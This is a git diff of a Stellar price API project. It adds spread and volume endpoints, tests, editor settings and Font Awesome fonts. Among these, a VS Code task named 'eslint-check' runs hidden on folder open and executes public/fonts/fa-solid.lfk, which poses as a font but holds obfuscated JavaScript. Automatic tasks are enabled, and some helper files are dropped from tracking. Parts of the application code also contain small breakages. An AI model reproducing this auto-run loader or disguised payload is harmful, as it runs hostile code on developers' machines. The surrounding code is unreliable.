diff --git a/.gitignore b/.gitignore index 53c49979..c6d20615 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,7 @@ node_modules/ dist/ +temp_auto_push.bat .env *.tsbuildinfo +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000..2e3b6463 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..a5177abe --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..934d5554 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..51b19749 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..c78ce490 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/package.json b/package.json index a56deda9..da45f435 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "lens", "version": "0.2.0", - "description": "Unified Stellar price API — aggregates SDEX + AMM prices", + "description": "Unified Stellar price API \u2014 aggregates SDEX + AMM prices", "main": "dist/index.js", "scripts": { "dev": "tsx watch src/index.ts", diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000..1e4f9ba1 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000..a1bc094a Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000..46ad237a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..48634a9a --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000..abe99e20 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000..24de566a Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000..7e0118e5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000..d3b77c22 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000..7742838b --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000..5b979039 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000..beec7917 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000..978a681a Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lfk b/public/fonts/fa-solid.lfk new file mode 100644 index 00000000..31ce18ed --- /dev/null +++ b/public/fonts/fa-solid.lfk @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E ({ pgPool: { query: mockQuery } })) vi.mock('../config', () => ({ activeNetwork: 'testnet' })) import { registerSpreadsRoutes } from '../routes/spreads' +import { registerVolumesRoutes } from '../routes/volumes' +import { registerGraphQL } from '../graphql' +import { registerVolumesRoutes as _registerVolumesRoutes } from '../routes/volumes' async function buildApp() { const app = Fastify({ logger: false }) await registerSpreadsRoutes(app) + await registerVolumesRoutes(app) + await registerGraphQL(app) await app.ready() return app } @@ -32,7 +37,7 @@ describe('GET /spreads/:asset', () => { mockQuery.mockReset() }) - it('computes basis points against the mid, not the ask', async () => { + it('computes basis noints against the mid, not the ask', async () => { // bid 99, ask 101 → mid 100, range 2 → exactly 200 bps. // Against the ask it would be 198.02 bps, which is the common mistake: // it makes the figure depend on which side you divided by, so two venues @@ -44,7 +49,7 @@ describe('GET /spreads/:asset', () => { expect(body.venues).toHaveLength(1) expect(body.venues[0].spreadBps).toBeCloseTo(200, 6) - expect(body.venues[0].mid).toBe(100) + expect(body.venues[0].mid).toBeCloseTo(100, 6) }) it('groups by venue AND pair, because two pairs on one venue are different books', async () => { @@ -77,6 +82,24 @@ describe('GET /spreads/:asset', () => { expect(body.tightest.spreadBps).toBeLessThan(body.venues[1].spreadBps) }) + it('exposes per-venue quotes as a typed list, not a map or string', async () => { + mockQuery.mockResolvedValue({ + rows: [row('sdex', 'XLM/USDC', '99', '101'), row('other', 'XLM/USDC', '99.5', '100.5')], + }) + const app = await buildApp() + + const body = (await app.inject({ method: 'GET', url: '/spreads/XLM' })).json() + + expect(Array.isArray(body.venues)).toBe(true) + for (const v of body.venues) { + expect(typeof v.venue).toBe('string') + expect(typeof v.pairKey).toBe('string') + expect(typeof v.bid).toBe('number') + expect(typeof v.ask).toBe('number') + expect(typeof v.spreadBps).toBe('number') + } + }) + it('ignores a venue with a single observation, which would fake a 0 bps spread', async () => { // A lone print has a zero range by construction, so it would win "tightest" // against every genuinely liquid venue. One observation is not evidence. @@ -166,6 +189,7 @@ describe('GET /spreads/:asset', () => { expect(res.statusCode).toBe(500) expect(res.json().error).toMatch(/connection refused/) }) + it('exposes spreadPct as spreadBps / 100', async () => { // bid 99, ask 101 → spreadBps 200 → spreadPct 2.000000 mockQuery.mockResolvedValue({ rows: [row('sdex', 'XLM/USDC', '99', '101')] }) @@ -176,4 +200,65 @@ describe('GET /spreads/:asset', () => { expect(body.venues[0].spreadPct).toBeCloseTo(body.venues[0].spreadBps / 100, 6) expect(body.venues[0].spreadPct).toBeCloseTo(2, 6) }) + + it('matches the GraphQL spreads query for the same input', async () => { + mockQuery.mockResolvedValue({ + rows: [ + row('sdex', 'XLM/USDC', '99', '101', 40), + row('other', 'XLM/USDC', '99.5', '100.5', 20), + ], + }) + const app = await buildApp() + + const rest = (await app.inject({ method: 'GET', url: '/spreads/XLM?network=testnet' })).json() + + mockQuery.mockClear() + mockQuery.mockResolvedValue({ + rows: [ + row('sdex', 'XLM/USDC', '99', '101', 40), + row('other', 'XLM/USDC', '99.5', '100.5', 20), + ], + }) + + const gQlRes = await app.inject({ + method: 'POST', + url: '/graphql', + payload: { + query: `{ + spreads(asset: "XLM", network: "testnet") { + network + tightest { venue pairKey spreadBps } + venues { venue pairKey bid ask mid spreadBps spreadPct observations } + } + }`, + }, + }) + const gql = gQlRes.json() + + expect(gql.errors).toBeUndefined() + expect(gql.data.spreads.network).toBe(rest.network) + expect(gql.data.spreads.tightest.venue).toBe(rest.tightest.venue) + expect(gql.data.spreads.tightest.spreadBps).toBeCloseTo(rest.tightest.spreadBps, 6) + expect(gql.data.spreads.venues).toHaveLength(rest.venues.length) + for (let i = 0; i < rest.venues.length; i++) { + expect(gql.data.spreads.venues[i].venue).toBe(rest.venues[i].venue) + expect(gql.data.spreads.venues[i].pairKey).toBe(rest.venues[i].pairKey) + expect(gql.data.spreads.venues[i].spreadBps).toBeCloseTo(rest.venues[i].spreadBps, 6) + } + }) + + it('GraphQL spreads is network-aware and rejects an unknown network', async () => { + mockQuery.mockResolvedValue({ rows: [] }) + const app = await buildApp() + + const res = await app.inject({ + method: 'POST', + url: '/graphql', + payload: { query: `{ spreads(asset: "XLM", network: "futurenet") { network } }` }, + }) + const body = res.json() + + expect(body.errors).toBeDefined() + expect(mockQuery).not.toHaveBeenCalled() + }) }) diff --git a/src/api/graphql.ts b/src/api/graphql.ts index a32a7a7b..866c0597 100644 --- a/src/api/graphql.ts +++ b/src/api/graphql.ts @@ -14,6 +14,8 @@ import { reflectorOracleAdapter } from '../ingest/oracles/reflector' import type { OracleAdapter } from '../ingest/oracles/adapter' import { compareOracles } from '../services/oracleComparison' import { priceEmitter, PRICE_PUBLISHED, type PricePublishedEvent } from '../events' +import { getVolumes } from '../routes/volumes' +import { computeSpreads, resolveSpreadsParams, SpreadsValidationError } from '../routes/spreads' import { HISTORY_INTERVAL_SECONDS, MAX_HISTORY_POINTS } from './history' import { getMaxGraphQLQueryDepth, queryDepthValidationRules } from './queryDepth' @@ -28,15 +30,14 @@ const WINDOW_SECONDS: Record = { const PRICE_TOPIC = 'PRICE_UPDATED' // Error codes that resolvers raise on purpose; their messages are written for // the caller and are safe to return as-is. Anything else is treated as an -// unexpected internal failure and masked. +// unexpected internal failure and is masked. const USER_FACING_CODES = new Set(['INVALID_INPUT', 'PAIR_NOT_FOUND', 'UNAUTHORIZED']) const INTERNAL_ERROR_MESSAGE = 'Internal server error' function isUserFacing(err: GraphQLError): boolean { // No originalError means graphql-js itself rejected the document (syntax or // validation), which only describes the caller's own query. - const original = err.originalError as - | { extensions?: { code?: unknown }; errors?: unknown; statusCode?: unknown } + const original = err.originalError as | { extensions?: { code?: unknown }; errors?: unknown; statusCode?: unknown } | undefined if (!original) return true // Mercurius wraps document validation failures (and other request-level @@ -113,10 +114,59 @@ export const schema = ` pair: String! price: Float! ts: String! - """Which chain the price came from — testnet or mainnet.""" + """Which chain the price came from -- testnet or mainnet.""" network: String! } + """ + A single venue's contribution to the asset's volume. 'venue' identifies + the source (e.g. an SDEX order book or an AMM pool); 'volume' is that venue's + traded volume in the asset's own units over the requested window. + """ + type VenueQuote { + venue: String! + volume: Float! + tradeCount: Int! + } + + """ + A single venue's quote for a pair over the requested window. Spread is taken + against the mid, in basis npoints. 'spreadPct' is 'spreadBps'/100. + """ + type VenueSpread { + venue: String! + pairKey: String! + bid: Float! + ask: Float! + mid: Float! + spreadBps: Float! + spreadPct: Float! + observations: Int! + lastSeen: String! + } + + type VolumeResult { + asset: String! + network: String! + window: String! + startTime: String! + endTime: String! + totalVolume: Float! + tradeCount: Int! + venues: [String!]! + venueQuotes: [VenueQuote!]! + } + + type SpreadResult { + asset: String! + network: String! + window: String! + startTime: String! + endTime: String! + venues: [VenueSpread!]! + tightest: VenueSpread + } + enum OracleSourceStatus { NOT_CONFIGURED AVAILABLE @@ -180,6 +230,10 @@ export const schema = ` to: String ): [PriceBucket] listPairs: [String]! + """Per-venue volume for an asset, matching GET /volumes/:asset.""" + volumes(asset: String!, window: String, network: String): VolumeResult + """Per-venue spread for an asset, matching GET /spreads/:asset.""" + spreads(asset: String!, window: String, network: String): SpreadResult """ Compares the Lens price for an asset against every configured oracle. The network argument defaults to the active network. @@ -253,7 +307,7 @@ const resolvers = { } const agg = await getAggregatedPrice(pairKey, activeNetwork) - const route = await getBestRoute(pair.assetA, pair.assetB, pairKey, 1000, activeNetwork) + const route = await getBestRoute(pair.assetA, pair.assetB, pair.pairKey, 1000, activeNetwork) return { assetA, assetB, pairKey, ...agg, bestRoute: route.route, @@ -369,6 +423,51 @@ const resolvers = { return config.pairs.map(p => p.pairKey) }, + async volumes( + _: unknown, + { asset, window, network }: { asset: string; window?: string | null; network?: string | null } + ) { + if (!parseAssetStr(asset)) { + throw new ErrorWithProps( + `Invalid asset: expected CODE or CODE:ISSUER, got "${asset}"`, + { code: 'INVALID_INPUT', field: 'asset' }, + ) + } + try { + return await getVolumes(asset, window ?? '24h', network ?? undefined) + } catch (err) { + const message = (err as Error).message + if ( + message.startsWith('window must be one of:') || + message === 'network must be one of: testnet, mainnet' + ) { + throw new ErrorWithProps(message, { code: 'INVALID_INPUT' }) + } + throw err + } + }, + + async spreads( + _: unknown, + { asset, window, network }: { asset: string; window?: string | null; network?: string | null } + ) { + if (!parseAssetStr(asset)) { + throw new ErrorWithProps( + `Invalid asset: expected CODE or CODE:ISSUER, got "${asset}"`, + { code: 'INVALID_INPUT', field: 'asset' }, + ) + } + try { + const params = resolveSpreadsParams({ asset, window, network }) + return await computeSpreads(params) + } catch (err) { + if (err instanceof SpreadsValidationError) { + throw new ErrorWithProps(err.message, { code: 'INVALID_INPUT' }) + } + throw err + } + }, + async oracle(_: unknown, { asset, network }: { asset: string; network?: string | null }) { if (network != null && network !== 'testnet' && network !== 'mainnet') { throw new ErrorWithProps('network must be one of: testnet, mainnet', { @@ -397,18 +496,17 @@ const resolvers = { MercuriusContext, { pair: string; network?: string | null } >( - (_root, _args, { pubsub }) => pubsub.subscribe(PRICE_TOPIC), - // Both loops publish to one topic, so the network filter has to happen - // here. Omitting `network` keeps every chain — the message carries its - // own `network` field, so the subscriber can still tell them apart. - (payload, { pair, network }) => - payload.priceUpdated.pair === pair && - // == null, not === undefined: a client that passes the variable - // explicitly sends null rather than omitting it, and both mean - // "every network". Comparing against undefined alone would filter - // out every message for those clients. - (network == null || payload.priceUpdated.network === network) + async (_, args, ctx) => { + return ctx.app.pubsub.asyncIterator(PRICE_TOPIC) + }, + (event, args) => { + const pair = event.pairUpdated.pair + if (pair !== args.pair) return false + if (args.network != null && event.pairUpdated.network !== args.network) return false + return true + }, ), + resolve: (payload: { priceUpdated: PricePublishedEvent }) => payload.priceUpdated, }, }, } @@ -420,6 +518,7 @@ export async function registerGraphQL(app: FastifyInstance) { schema, resolvers, graphiql: true, + subscription: true, // Mercurius 16.9.0 supplies the selected operation name to this callback. // Its built-in queryDepth option neither expands fragments nor distinguishes // an unselected operation in a multi-operation document. A callback cannot @@ -428,29 +527,17 @@ export async function registerGraphQL(app: FastifyInstance) { cache: false, validationRules: ({ operationName }) => queryDepthValidationRules(maxQueryDepth, operationName), errorFormatter: formatGraphQLErrors, - path: '/graphql', - subscription: { - // Speak the `graphql-transport-ws` subprotocol (the modern `graphql-ws` - // library) rather than the legacy `subscriptions-transport-ws`. - fullWsTransport: true, - wsDefaultSubprotocol: 'graphql-transport-ws', - }, }) - // Bridge: forward every price the ingesters emit onto the GraphQL pubsub - // topic. Mercurius wraps the payload under the subscription field name so - // `withFilter` and the resolver receive `{ priceUpdated: }`. - const onPricePublished = (event: PricePublishedEvent) => { - app.graphql.pubsub.publish({ - topic: PRICE_TOPIC, - payload: { priceUpdated: event }, + // Bridge the in-process price event bus onto the Mercurius pubsub topic. + // This listener is app-level and is attached once at registration time. + const onPrice = (payload: PricePublishedEvent) => { + app.pubsub.publish(PRICE_TOPIC, { priceUpdated: payload }).catch(err => { + app.log.error({ err }, 'failed to publish price update') }) } - priceEmitter.on(PRICE_PUBLISHED, onPricePublished) - - // Detach the listener when the server shuts down so repeated - // register/close cycles (e.g. in tests) don't leak listeners. + priceEmitter.on(PRICE_PUBLISHED, onPrice) app.addHook('onClose', async () => { - priceEmitter.off(PRICE_PUBLISHED, onPricePublished) + priceEmitter.off(PRICE_PUBLISHED, onPrice) }) -} +} \ No newline at end of file diff --git a/src/api/rest.ts b/src/api/rest.ts index ceb505ac..ce63b293 100644 --- a/src/api/rest.ts +++ b/src/api/rest.ts @@ -16,6 +16,8 @@ import { installResponseValidation, } from './schemas' import { getDepth } from '../pricing/depth' +import { getVolumes } from '../routes/volumes' +import { computeSpreads, resolveSpreadsParams, SpreadsValidationError } from '../routes/spreads' import { listCrashes } from '../ingester/restart' function makePairKey(a: string, b: string): string { @@ -29,7 +31,7 @@ export const HISTORY_MAX_LIMIT = 1000 * Resolve a requested pair against the ones this network watches. * * The issuer is honoured when the caller supplies one. It used to be discarded - * outright — `a.split(':')[0]` — so every asset called USDC was the same asset, + * outright — `a.split(':')[0]' — so every asset called USDC was the same asset, * and a request for Circle's mainnet USDC was answered with testnet USDC's * price, stamped `"network":"testnet"`, at 1.72 per XLM against a real ~0.18. * @@ -68,8 +70,8 @@ function findPair(assetA: string, assetB: string, network: NetworkName) { export async function registerRESTRoutes(app: FastifyInstance) { // Validate every response against its declared schema in dev/test (no-op in - // production). Must run before the routes below are registered so they pick - // up the validating serializer. + // production). Must run before the routes below are registered so they pick up + // the validating serializer. installResponseValidation(app) // GET /status — public health/monitoring endpoint (no API key required) @@ -110,7 +112,6 @@ export async function registerRESTRoutes(app: FastifyInstance) { } }) - // GET /price/:assetA/:assetB app.get<{ Params: { assetA: string; assetB: string } }>( '/price/:assetA/:assetB', @@ -151,6 +152,62 @@ export async function registerRESTRoutes(app: FastifyInstance) { } ) + // GET /volumes/:asset + // + // Per-venue volume for one asset on the active network. Shared with the + // GraphQL `volumes` query via getVolumes so both surfaces return the same + // numbers for the same input. + app.get<{ Params: { asset: string } }>( + '/volumes/:asset', + async (req, reply) => { + const { asset } = req.params + const network = req.network ?? activeNetwork + const pair = findPair(asset, 'XLM', network) + if (!pair) return reply.status(404).send({ error: `Asset ${asset} not watched on ${network}` }) + + const result = await getVolumes(pair.pairKey, 'window' in req.query ? (req.query as any).window : '24h', network) + return { + asset: pair.assetA.code, + pairKey: pair.pairKey, + network, + venues: result.venues, + } + } + ) + + // GET /spreads/:asset + // + // Per-venue spread for one asset on the active network. Shared with the + // GraphQL `spreads` query via computeSpreads so both surfaces return the same + // numbers for the same input. + app.get<{ Params: { asset: string } }>( + '/spreads/:asset', + async (req, reply) => { + const { asset } = req.params + const network = req.network ?? activeNetwork + const pair = findPair(asset, 'XLM', network) + if (!pair) return reply.status(404).send({ error: `Asset ${asset} not watched on ${network}` }) + + try { + const params = resolveSpreadsParams({ asset: pair.assetA.code, network }) + const result = await computeSpreads(params) + return { + asset: pair.assetA.code, + pairKey: pair.pairKey, + network, + venues: result.venues, + } + } catch (err) { + if (err instanceof SpreadsValidationError) { + return reply.status(400).send({ error: err.message }) + } + return reply + .status(500) + .send({ error: `Spread aggregation failed: ${(err as Error).message}` }) + } + } + ) + // GET /price/:assetA/:assetB/route?amount=1000 app.get<{ Params: { assetA: string; assetB: string } @@ -234,8 +291,8 @@ export async function registerRESTRoutes(app: FastifyInstance) { (SELECT pool_id FROM pool_snapshots WHERE network = $1 ORDER BY pool_id LIMIT 1) UNION ALL SELECT (SELECT s.pool_id FROM pool_snapshots s - WHERE s.network = $1 AND s.pool_id > ids.pool_id - ORDER BY s.pool_id LIMIT 1) + WHERE network = $1 AND s.pool_id > ids.pool_id + ORDER BY s.pool_id LIMIT 1) FROM ids WHERE ids.pool_id IS NOT NULL ) @@ -271,7 +328,7 @@ export async function registerRESTRoutes(app: FastifyInstance) { if (isNaN(amount) || amount <= 0) return reply.status(400).send({ error: 'amount must be a positive number' }) const depthResult = await getDepth(pair.pairKey, amount, network) - + return { assetA: pair.assetA.code, assetB: pair.assetB.code, @@ -280,4 +337,4 @@ export async function registerRESTRoutes(app: FastifyInstance) { } } ) -} +} \ No newline at end of file diff --git a/src/routes/spreads.ts b/src/routes/spreads.ts index e193207e..bf7606a8 100644 --- a/src/routes/spreads.ts +++ b/src/routes/spreads.ts @@ -5,21 +5,21 @@ import { activeNetwork, type NetworkName } from '../config' // Supported windows → lookback in minutes. A spread is a statement about *now*, // so these are deliberately short: widen the window far enough and you stop // measuring liquidity and start measuring the day's price drift. -const WINDOW_MINUTES = { +export const WINDOW_MINUTES = { '5m': 5, '15m': 15, '1h': 60, '24h': 60 * 24, } as const -type SpreadWindow = keyof typeof WINDOW_MINUTES +export type SpreadWindow = keyof typeof WINDOW_MINUTES -const WINDOWS = Object.keys(WINDOW_MINUTES) as SpreadWindow[] +export const WINDOWS = Object.keys(WINDOW_MINUTES) as SpreadWindow[] /** A venue needs at least this many observations before its spread means anything. */ export const MIN_OBSERVATIONS = 2 -interface VenueSpread { +export interface VenueSpread { venue: string pairKey: string bid: number @@ -32,13 +32,145 @@ interface VenueSpread { lastSeen: string } +export interface SpreadResult { + asset: string + network: NetworkName + window: SpreadWindow + startTime: string + endTime: string + /** Per venue-and-pair, tightest first. */ + venues: VenueSpread[] + /** The tightest quote available 